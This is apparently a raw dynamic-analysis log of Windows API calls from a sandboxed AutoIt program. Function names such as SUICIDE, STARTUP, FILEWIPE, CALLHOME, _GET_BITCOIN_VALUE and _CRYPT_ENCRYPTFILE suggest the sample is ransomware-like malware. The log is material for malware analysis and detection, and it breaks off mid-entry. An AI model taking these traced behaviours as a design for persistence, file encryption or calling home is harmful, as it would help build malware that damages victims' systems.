CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0045.019] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0045.019] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0045.019] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0045.019] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0045.019] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0045.019] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0045.019] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0045.019] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0045.019] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0045.019] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0045.019] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0045.019] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0045.019] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0045.019] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0045.019] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0045.019] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0045.019] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0045.019] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0045.019] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0045.019] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0045.019] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0045.019] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0045.019] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0045.019] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0045.019] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0045.019] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0045.020] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0045.020] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0045.020] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0045.020] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0045.020] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0045.020] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0045.020] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0045.020] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0045.020] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0045.020] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0045.021] AllocateAndInitializeSid (in: pIdentifierAuthority=0xe0d659f838, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xe0d659f840 | out: pSid=0xe0d659f840) returned 1 [0045.021] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0xe0d69030a0, IsMember=0xe0d659f830 | out: IsMember=0xe0d659f830) returned 1 [0045.021] GetSysColorBrush (nIndex=15) returned 0x1100074 [0045.021] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0045.021] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0x63) returned 0x110215 [0045.022] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa4) returned 0x8020f [0045.022] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa2) returned 0x16020b [0045.022] LoadImageW (hInst=0x7ff756b50000, name=0x63, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x8101a7 [0045.023] RegisterClassExW (param_1=0xe0d659f7d0) returned 0xc072 [0045.023] GetSysColorBrush (nIndex=15) returned 0x1100074 [0045.023] RegisterClassExW (param_1=0xe0d659f740) returned 0xc142 [0045.023] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0045.023] InitCommonControlsEx (picce=0xe0d659f7a8) returned 1 [0045.023] ImageList_Create (cx=16, cy=16, flags=0x21, cInitial=1, cGrow=1) returned 0xe0d67d1900 [0045.024] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa9) returned 0x2c0183 [0045.024] ImageList_ReplaceIcon (himl=0xe0d67d1900, i=-1, hicon=0x2c0183) returned 0 [0045.024] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3", lpWindowName="AutoIt v3", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=100, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x9002c [0045.025] NtdllDefWindowProc_W (hWnd=0x9002c, Msg=0x24, wParam=0x0, lParam=0xe0d659f220) returned 0x0 [0045.025] NtdllDefWindowProc_W (hWnd=0x9002c, Msg=0x81, wParam=0x0, lParam=0xe0d659f1d0) returned 0x1 [0045.027] NtdllDefWindowProc_W (hWnd=0x9002c, Msg=0x83, wParam=0x0, lParam=0xe0d659f240) returned 0x0 [0045.029] SetTimer (hWnd=0x9002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0045.029] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0045.029] CreatePopupMenu () returned 0x90093 [0045.030] CreateWindowExW (dwExStyle=0x0, lpClassName="edit", lpWindowName=0x0, dwStyle=0x50b008c4, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x9002c, hMenu=0x1, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xb004e [0045.038] NtdllDefWindowProc_W (hWnd=0x9002c, Msg=0x210, wParam=0x10001, lParam=0xb004e) returned 0x0 [0045.038] ShowWindow (hWnd=0x9002c, nCmdShow=0) returned 0 [0045.038] ShowWindow (hWnd=0x9002c, nCmdShow=0) returned 0 [0045.038] Shell_NotifyIconW (dwMessage=0x0, lpData=0xe0d659f450) returned 1 [0045.044] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe0d659f050) returned 1 [0045.045] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0045.045] TranslateMessage (lpMsg=0xe0d659f650) returned 0 [0045.045] DispatchMessageW (lpMsg=0xe0d659f650) returned 0x0 [0045.045] NtdllDefWindowProc_W (hWnd=0x9002c, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0045.045] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.045] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.045] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0045.045] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.045] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0045.045] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.045] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0045.045] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.045] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0045.045] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.045] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0045.045] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.046] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0045.046] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.046] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0045.046] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.046] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0045.046] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.046] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0045.046] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.046] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0045.046] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.046] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.047] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.047] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.047] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.047] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.047] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.047] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.048] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.048] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.048] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.048] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.048] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.048] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.049] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.049] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.049] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.049] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.049] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.049] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.049] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.049] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.050] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.050] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.051] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.051] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.051] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.051] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.051] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.051] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.051] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.051] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.051] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.052] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.052] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.052] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.052] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0045.052] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.052] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0045.052] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.052] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0045.052] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.052] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0045.052] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.052] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.053] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.053] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.053] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.053] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.053] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.053] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.053] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.053] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.054] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.054] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.054] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.054] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.054] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.054] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.054] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.054] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.054] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.054] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.055] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.055] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.055] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.055] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.055] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.055] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.055] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0045.055] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.055] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0045.055] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.055] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0045.055] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.055] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0045.055] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.056] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0045.056] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.056] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0045.056] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.056] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0045.056] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.056] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 